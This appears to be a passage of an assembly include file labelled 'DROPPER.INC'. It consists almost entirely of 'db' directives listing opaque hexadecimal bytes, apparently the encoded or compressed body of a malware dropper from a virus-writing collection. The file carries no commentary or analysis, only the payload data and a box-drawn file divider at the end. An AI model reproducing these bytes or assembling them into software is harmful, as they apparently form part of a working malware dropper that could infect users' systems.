db 098h, 0F8h, 007h, 05Dh, 004h, 0F1h, 01Eh, 03Fh
|
|
db 0F0h, 088h, 008h, 00Fh, 0E0h, 03Eh, 0A0h, 0C0h
|
|
db 043h, 003h, 0A5h, 019h, 01Ch, 009h, 00Fh, 046h
|
|
db 028h, 061h, 053h, 01Fh, 004h, 0E3h, 0FCh, 020h
|
|
db 099h, 0FEh, 06Ch, 07Fh, 009h, 0B7h, 0E0h, 0E8h
|
|
db 0F0h, 0A4h, 004h, 078h, 003h, 0D5h, 074h, 004h
|
|
db 036h, 0F8h, 04Ch, 0EBh, 0E5h, 03Bh, 06Fh, 027h
|
|
db 0F1h, 048h, 01Fh, 0C5h, 042h, 0C5h, 06Ch, 00Eh
|
|
db 0C3h, 042h, 013h, 019h, 08Fh, 047h, 048h, 04Ah
|
|
db 021h, 09Ch, 065h, 0A3h, 0E7h, 013h, 01Dh, 03Fh
|
|
db 046h, 0D6h, 040h, 0E1h, 005h, 027h, 021h, 038h
|
|
db 0D3h, 06Eh, 038h, 03Eh, 01Bh, 041h, 06Ah, 08Ah
|
|
db 00Ch, 021h, 056h, 0DBh, 03Eh, 034h, 0A5h, 066h
|
|
db 080h, 009h, 0D5h, 041h, 063h, 0A6h, 0F3h, 0D4h
|
|
db 02Dh, 02Fh, 0A5h, 079h, 041h, 0ABh, 07Fh, 08Eh
|
|
db 0CAh, 020h, 0B8h, 0C3h, 0DCh, 023h, 0D3h, 055h
|
|
db 0BEh, 020h, 0DAh, 092h, 05Ah, 096h, 020h, 0E9h
|
|
db 00Fh, 050h, 005h, 01Eh, 0A2h, 020h, 04Ah, 002h
|
|
db 095h, 020h, 091h, 042h, 055h, 0DAh, 049h, 020h
|
|
db 0E2h, 015h, 0B6h, 028h, 042h, 0ABh, 020h, 053h
|
|
db 0D1h, 020h, 0A5h, 037h, 019h, 08Ah, 020h, 06Dh
|
|
db 03Eh, 05Fh, 020h, 06Ah, 080h, 05Fh, 04Eh, 011h
|
|
db 0DAh, 040h, 0B4h, 0C1h, 0A6h, 061h, 0A5h, 07Fh
|
|
db 06Ah, 041h, 04Ah, 082h, 06Ah, 061h, 03Ch, 057h
|
|
db 03Fh, 0D5h, 021h, 0DAh, 007h, 092h, 001h, 0B6h
|
|
db 01Fh, 0A4h, 020h, 0A1h, 05Fh, 0C9h, 0C5h, 0CFh
|
|
db 0C4h, 06Ch, 042h, 0D5h, 03Ch, 020h, 0B4h, 095h
|
|
db 0FFh, 048h, 020h, 0BCh, 035h, 043h, 024h, 03Eh
|
|
db 0DFh, 022h, 053h, 0C5h, 074h, 053h, 0BCh, 040h
|
|
db 05Ah, 0CBh, 0EFh, 0DAh, 089h, 08Dh, 080h, 041h
|
|
db 0ADh, 03Eh, 0CDh, 00Dh, 06Ch, 0C5h, 0CFh, 0B7h
|
|
db 03Dh, 02Bh, 0B7h, 043h, 00Eh, 010h, 0FFh, 094h
|
|
db 022h, 0ABh, 04Fh, 02Eh, 052h, 0F5h, 032h, 001h
|
|
db 0FEh, 0E9h, 00Fh, 0C0h, 0AEh, 01Eh, 030h, 08Bh
|
|
db 03Fh, 0FCh, 0B1h, 044h, 00Fh, 072h, 08Ch, 095h
|
|
db 004h, 097h, 07Fh, 094h, 074h, 084h, 0B9h, 098h
|
|
db 04Ch, 089h, 03Fh, 096h, 068h, 043h, 0C0h, 003h
|
|
db 0BDh, 0CDh, 0E4h, 0F6h, 02Fh, 0CCh, 081h, 009h
|
|
db 0C0h, 089h, 0F1h, 05Ch, 077h, 042h, 0AFh, 09Fh
|
|
db 0C7h, 042h, 01Ah, 004h, 032h, 00Bh, 0CBh, 08Eh
|
|
db 001h, 008h, 013h, 0B8h, 021h, 0DFh, 029h, 017h
|
|
db 0BAh, 0D3h, 040h, 055h, 01Eh, 0C2h, 093h, 020h
|
|
db 084h, 065h, 025h, 040h, 065h, 0E1h, 076h, 03Fh
|
|
db 046h, 0A6h, 041h, 0AEh, 0FAh, 091h, 001h, 04Eh
|
|
db 014h, 03Fh, 092h, 087h, 0B2h, 03Ah, 020h, 064h
|
|
db 0FFh, 06Dh, 04Ch, 021h, 00Bh, 0D4h, 007h, 01Fh
|
|
db 0F3h, 0D9h, 08Ch, 099h, 045h, 051h, 082h, 090h
|
|
db 00Ah, 0C5h, 00Bh, 055h, 001h, 066h, 05Fh, 033h
|
|
db 06Eh, 0D9h, 003h, 00Dh, 0FBh, 066h, 09Ch, 018h
|
|
db 090h, 05Ch, 00Fh, 069h, 01Fh, 02Bh, 041h, 0B5h
|
|
db 032h, 037h, 020h, 08Dh, 0ADh, 046h, 020h, 042h
|
|
db 055h, 00Ah, 001h, 0C2h, 0B1h, 0C0h, 0FBh, 04Ch
|
|
db 020h, 013h, 0DAh, 012h, 06Dh, 096h, 020h, 0EDh
|
|
db 09Bh, 03Bh, 0EDh, 02Ah, 092h, 013h, 09Ah, 020h
|
|
db 0AAh, 021h, 041h, 03Ah, 052h, 01Fh, 066h, 055h
|
|
db 0EDh, 041h, 047h, 013h, 02Ah, 019h, 021h, 051h
|
|
db 090h, 001h, 0B2h, 083h, 054h, 00Fh, 092h, 020h
|
|
db 0CAh, 010h, 09Ah, 020h, 0AEh, 021h, 051h, 056h
|
|
db 0A0h, 055h, 01Fh, 0CAh, 02Ah, 020h, 038h, 040h
|
|
db 01Fh, 0A6h, 021h, 0E7h, 05Dh, 0C0h, 0A9h, 03Ah
|
|
db 01Fh, 09Ch, 01Fh, 012h, 0D9h, 08Dh, 02Fh, 0A9h
|
|
db 043h, 022h, 0CAh, 01Fh, 0CEh, 03Ch, 020h, 052h
|
|
db 0D9h, 021h, 09Ch, 0E2h, 0ABh, 001h, 0E4h, 055h
|
|
db 01Fh, 09Ch, 06Bh, 021h, 02Bh, 022h, 0A9h, 01Eh
|
|
db 02Bh, 01Fh, 0B9h, 0ABh, 00Ah, 021h, 039h, 0C5h
|
|
db 0CEh, 09Ah, 01Eh, 096h, 01Fh, 0E3h, 049h, 021h
|
|
db 05Dh, 022h, 055h, 01Eh, 076h, 01Fh, 043h, 0A6h
|
|
db 063h, 0A2h, 022h, 0E5h, 068h, 029h, 01Fh, 06Ah
|
|
db 001h, 0B8h, 052h, 022h, 0D4h, 01Eh, 0DCh, 021h
|
|
db 0CAh, 021h, 06Ah, 022h, 0ABh, 01Eh, 038h, 052h
|
|
db 05Ah, 052h, 022h, 0B6h, 03Ch, 0A7h, 09Ah, 029h
|
|
db 01Fh, 04Dh, 018h, 02Eh, 08Eh, 0CDh, 051h, 014h
|
|
db 05Eh, 040h, 051h, 00Dh, 0ABh, 03Ch, 079h, 0EAh
|
|
db 001h, 079h, 013h, 0B5h, 004h, 007h, 02Ah, 018h
|
|
db 057h, 049h, 055h, 0FFh, 04Bh, 01Fh, 09Ah, 002h
|
|
db 0BAh, 01Eh, 0B9h, 022h, 00Ah, 05Eh, 040h, 09Ah
|
|
db 069h, 0BFh, 080h, 014h, 00Ah, 0A2h, 0F9h, 0A9h
|
|
db 0FEh, 001h, 0F4h, 0E1h, 01Eh, 0EEh, 023h, 012h
|
|
db 010h, 0E3h, 070h, 085h, 0C7h, 03Dh, 01Ah, 01Eh
|
|
db 0EFh, 02Dh, 07Fh, 003h, 0C2h, 036h, 020h, 0FBh
|
|
db 03Dh, 071h, 00Ch, 045h, 0E3h, 0DAh, 002h, 079h
|
|
db 07Fh, 01Bh, 084h, 038h, 037h, 080h, 0FBh, 00Ch
|
|
db 0A4h, 01Dh, 0A2h, 020h, 08Ah, 001h, 021h, 071h
|
|
db 037h, 045h, 001h, 065h, 01Eh, 053h, 020h, 014h
|
|
db 0A6h, 021h, 0B6h, 07Bh, 0C8h, 041h, 00Ch, 04Dh
|
|
db 04Ah, 059h, 01Fh, 09Ch, 003h, 01Ch, 06Bh, 03Eh
|
|
db 0B5h, 042h, 015h, 01Dh, 020h, 0D4h, 001h, 08Dh
|
|
db 016h, 042h, 05Dh, 05Eh, 0D6h, 09Bh, 03Dh, 0BDh
|
|
db 029h, 020h, 07Ch, 0CAh, 051h, 020h, 0B9h, 079h
|
|
db 052h, 020h, 06Ah, 085h, 07Fh, 053h, 052h, 041h
|
|
db 021h, 029h, 037h, 060h, 094h, 0E3h, 080h, 0A9h
|
|
db 05Dh, 020h, 045h, 03Fh, 036h, 020h, 00Dh, 0A7h
|
|
db 060h, 036h, 002h, 040h, 055h, 031h, 03Fh, 0D6h
|
|
db 094h, 0DDh, 0D5h, 042h, 020h, 0E5h, 015h, 021h
|
|
db 020h, 092h, 054h, 024h, 060h, 0F7h, 048h, 035h
|
|
db 043h, 034h, 040h, 08Ah, 05Fh, 052h, 020h, 08Eh
|
|
db 010h, 011h, 09Ah, 0C5h, 0AAh, 07Bh, 0E0h, 0DBh
|
|
db 0C5h, 036h, 020h, 042h, 048h, 0FBh, 060h, 0B4h
|
|
db 09Eh, 020h, 04Eh, 0B7h, 0A8h, 055h, 062h, 05Dh
|
|
db 020h, 023h, 061h, 092h, 02Dh, 0A1h, 0B6h, 042h
|
|
db 044h, 0C1h, 093h, 0A0h, 06Ah, 01Fh, 05Ah, 087h
|
|
db 021h, 0FBh, 038h, 024h, 061h, 071h, 073h, 0B8h
|
|
db 003h, 046h, 0DAh, 044h, 0CBh, 0B2h, 06Fh, 045h
|
|
db 00Dh, 034h, 01Eh, 0A9h, 052h, 001h, 00Ah, 0BBh
|
|
db 022h, 085h, 02Ah, 001h, 0EAh, 021h, 0FFh, 042h
|
|
db 0E0h, 007h, 071h, 0EEh, 012h, 0FCh, 0A2h, 084h
|
|
db 0E2h, 080h, 007h, 001h, 049h, 0D9h, 051h, 0F2h
|
|
db 0B2h, 01Ch, 0D1h, 00Ch, 0EAh, 040h, 02Dh, 014h
|
|
db 000h, 0D5h, 0B1h, 001h, 0B9h, 04Ah, 0A1h, 0E2h
|
|
db 0F6h, 00Eh, 070h, 09Ah, 00Ch, 092h, 004h, 05Ch
|
|
db 060h, 043h, 007h, 0D7h, 06Fh, 002h, 0B2h, 0D4h
|
|
db 062h, 05Ah, 087h, 029h, 0FDh, 005h, 057h, 027h
|
|
db 05Fh, 0BAh, 00Bh, 08Ah, 010h, 020h, 0B5h, 021h
|
|
db 01Bh, 020h, 060h, 0FDh, 0A8h, 051h, 0DFh, 0A8h
|
|
db 021h, 0FFh, 03Ah, 035h, 020h, 05Bh, 021h, 002h
|
|
db 028h, 040h, 0EBh, 014h, 0ABh, 061h, 053h, 037h
|
|
db 021h, 06Ah, 007h, 020h, 039h, 0BAh, 0F9h, 0C5h
|
|
db 0F7h, 0ECh, 067h, 04Eh, 0B0h, 0D4h, 02Ah, 0D5h
|
|
db 020h, 010h, 0DCh, 0F9h, 04Eh, 096h, 01Bh, 041h
|
|
db 06Dh, 00Fh, 026h, 008h, 046h, 062h, 011h, 0D4h
|
|
db 00Ah, 041h, 0D4h, 020h, 06Ah, 0CCh, 09Fh, 04Dh
|
|
db 038h, 0C7h, 055h, 007h, 044h, 04Dh, 0A3h, 0E6h
|
|
db 085h, 041h, 0F9h, 025h, 020h, 059h, 052h, 038h
|
|
db 017h, 0C7h, 0A2h, 0F6h, 09Ah, 020h, 08Ah, 060h
|
|
db 020h, 0EFh, 014h, 0CDh, 061h, 0E3h, 00Ah, 017h
|
|
db 096h, 0C7h, 09Eh, 0BFh, 0A4h, 020h, 0D9h, 063h
|
|
db 040h, 0F9h, 01Dh, 0B6h, 0C2h, 05Ah, 042h, 0DCh
|
|
db 03Eh, 09Bh, 06Ch, 0B5h, 052h, 01Bh, 020h, 0DCh
|
|
db 061h, 0A8h, 015h, 033h, 06Ch, 02Ah, 003h, 096h
|
|
db 051h, 012h, 002h, 0FAh, 08Dh, 020h, 0DEh, 0CBh
|
|
db 056h, 043h, 040h, 04Eh, 0CDh, 0E2h, 057h, 01Fh
|
|
db 0FAh, 006h, 029h, 020h, 0EFh, 0F3h, 0A1h, 098h
|
|
db 0D6h, 093h, 001h, 0D5h, 035h, 00Bh, 03Dh, 020h
|
|
db 047h, 015h, 0FBh, 0E3h, 092h, 07Ah, 024h, 0AAh
|
|
db 001h, 0ACh, 064h, 022h, 0F9h, 0A6h, 020h, 0ABh
|
|
db 021h, 072h, 03Bh, 0A4h, 021h, 0DAh, 013h, 043h
|
|
db 09Ch, 020h, 0E7h, 0F2h, 08Dh, 01Dh, 044h, 05Dh
|
|
db 007h, 049h, 083h, 0D3h, 0FDh, 02Dh, 020h, 025h
|
|
db 0E8h, 0ABh, 03Bh, 007h, 037h, 043h, 0A8h, 028h
|
|
db 0D6h, 0A5h, 020h, 0BEh, 0C6h, 078h, 085h, 02Ah
|
|
db 0A2h, 0D4h, 040h, 060h, 0F5h, 03Dh, 001h, 095h
|
|
db 07Ch, 0F6h, 020h, 072h, 08Ch, 0A9h, 021h, 0F6h
|
|
db 049h, 003h, 0DEh, 0A9h, 03Fh, 02Eh, 0E9h, 0AAh
|
|
db 0DCh, 040h, 0EEh, 09Ah, 02Fh, 0A9h, 019h, 02Ah
|
|
db 0AAh, 01Eh, 026h, 00Eh, 06Ah, 01Fh, 02Bh, 040h
|
|
db 029h, 082h, 028h, 044h, 090h, 0E3h, 0D3h, 03Fh
|
|
db 037h, 089h, 03Dh, 03Bh, 0CAh, 0BBh, 060h, 0AAh
|
|
db 007h, 094h, 001h, 0D4h, 038h, 01Fh, 0DCh, 0E9h
|
|
db 080h, 0CDh, 0E3h, 0AAh, 0E0h, 002h, 0F1h, 056h
|
|
db 01Eh, 03Fh, 0A5h, 020h, 06Dh, 006h, 059h, 024h
|
|
db 059h, 01Fh, 04Eh, 060h, 029h, 0F6h, 004h, 035h
|
|
db 084h, 066h, 07Ch, 003h, 056h, 0D7h, 020h, 069h
|
|
db 045h, 0D9h, 09Eh, 045h, 0F9h, 029h, 001h, 04Bh
|
|
db 020h, 06Ah, 0C9h, 01Eh, 0F3h, 053h, 03Eh, 020h
|
|
db 099h, 003h, 0DCh, 015h, 054h, 019h, 007h, 08Ah
|
|
db 0D7h, 020h, 0F3h, 0FCh, 055h, 01Bh, 056h, 01Fh
|
|
db 073h, 094h, 042h, 0F5h, 071h, 0EDh, 05Fh, 020h
|
|
db 0B5h, 07Fh, 021h, 029h, 0F7h, 02Ah, 04Dh, 003h
|
|
db 055h, 007h, 068h, 020h, 01Bh, 0D5h, 086h, 04Ah
|
|
db 0D2h, 01Fh, 077h, 0B6h, 002h, 043h, 0D4h, 006h
|
|
db 015h, 0DBh, 00Ch, 052h, 025h, 032h, 07Bh, 09Ah
|
|
db 030h, 071h, 0ECh, 091h, 0DFh, 0CAh, 022h, 0B6h
|
|
db 008h, 024h, 0D4h, 042h, 02Eh, 08Fh, 0FFh, 05Bh
|
|
db 011h, 038h, 044h, 05Dh, 0CAh, 033h, 09Ch, 01Bh
|
|
db 055h, 01Eh, 040h, 0FFh, 06Ah, 042h, 004h, 05Ch
|
|
db 0B6h, 042h, 08Dh, 0ACh, 03Fh, 0D4h, 0D3h, 040h
|
|
db 0DBh, 060h, 055h, 044h, 045h, 04Dh, 063h, 043h
|
|
db 041h, 00Eh, 06Fh, 002h, 028h, 075h, 013h, 06Ah
|
|
db 081h, 04Dh, 03Fh, 0D1h, 001h, 0F6h, 096h, 040h
|
|
db 02Ah, 00Eh, 05Dh, 061h, 0A4h, 040h, 0D4h, 0E1h
|
|
db 015h, 07Dh, 0A6h, 03Fh, 0FFh, 009h, 052h, 040h
|
|
db 0F7h, 033h, 0EDh, 01Bh, 005h, 034h, 052h, 026h
|
|
db 03Fh, 09Bh, 01Eh, 0F5h, 022h, 0FFh, 0D3h, 09Ch
|
|
db 040h, 0D5h, 07Eh, 07Fh, 094h, 071h, 07Dh, 0A9h
|
|
db 09Fh, 0D3h, 0FDh, 0D1h, 059h, 040h, 0B5h, 032h
|
|
db 022h, 02Dh, 03Fh, 0CAh, 093h, 020h, 089h, 0D1h
|
|
db 007h, 0CAh, 09Ch, 040h, 0A5h, 03Fh, 02Ah, 0A0h
|
|
db 0ABh, 040h, 03Ah, 002h, 0FFh, 06Dh, 065h, 07Fh
|
|
db 0C7h, 094h, 069h, 055h, 0A0h, 035h, 040h, 055h
|
|
db 001h, 03Fh, 0A6h, 061h, 0FBh, 022h, 050h, 053h
|
|
db 040h, 072h, 0A3h, 026h, 0E7h, 00Ah, 03Fh, 052h
|
|
db 0AAh, 07Fh, 0FFh, 0B7h, 081h, 0C8h, 0CDh, 054h
|
|
db 0F2h, 092h, 040h, 093h, 03Fh, 0A5h, 033h, 0DFh
|
|
db 0EDh, 052h, 0BCh, 040h, 0D4h, 03Fh, 0F4h, 08Dh
|
|
db 01Fh, 094h, 068h, 0D1h, 040h, 0B2h, 0EDh, 012h
|
|
db 0B2h, 03Fh, 08Ah, 07Fh, 09Fh, 029h, 040h, 0CAh
|
|
db 03Fh, 054h, 0A7h, 040h, 0B5h, 01Ch, 069h, 03Fh
|
|
db 0ABh, 03Eh, 040h, 04Eh, 011h, 0D4h, 03Fh, 092h
|
|
db 054h, 01Dh, 021h, 094h, 040h, 0A4h, 0D8h, 09Eh
|
|
db 0F9h, 0A4h, 03Fh, 0E3h, 032h, 081h, 095h, 040h
|
|
db 093h, 02Dh, 0A7h, 0E2h, 066h, 005h, 0A4h, 0FEh
|
|
db 0A5h, 022h, 035h, 003h, 09Ah, 00Ah, 07Bh, 0B3h
|
|
db 017h, 069h, 0ABh, 0F8h, 015h, 029h, 0BFh, 05Ah
|
|
db 02Fh, 000h, 0A2h, 0CFh, 096h, 004h, 01Fh, 0C7h
|
|
db 0F8h, 003h, 09Dh, 0C1h, 038h, 009h, 00Fh, 080h
|
|
db 0F0h, 0E1h, 0FCh, 030h, 00Dh, 0C2h, 097h, 004h
|
|
db 029h, 001h, 059h, 001h, 05Bh, 004h, 021h, 003h
|
|
db 0E3h, 007h, 0C0h, 0F3h, 0F0h, 0A7h, 02Dh, 0B6h
|
|
db 0E1h, 0FCh, 0EBh, 056h, 0CEh, 078h, 060h, 000h
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DROPPER.INC]ÄÄÄ
|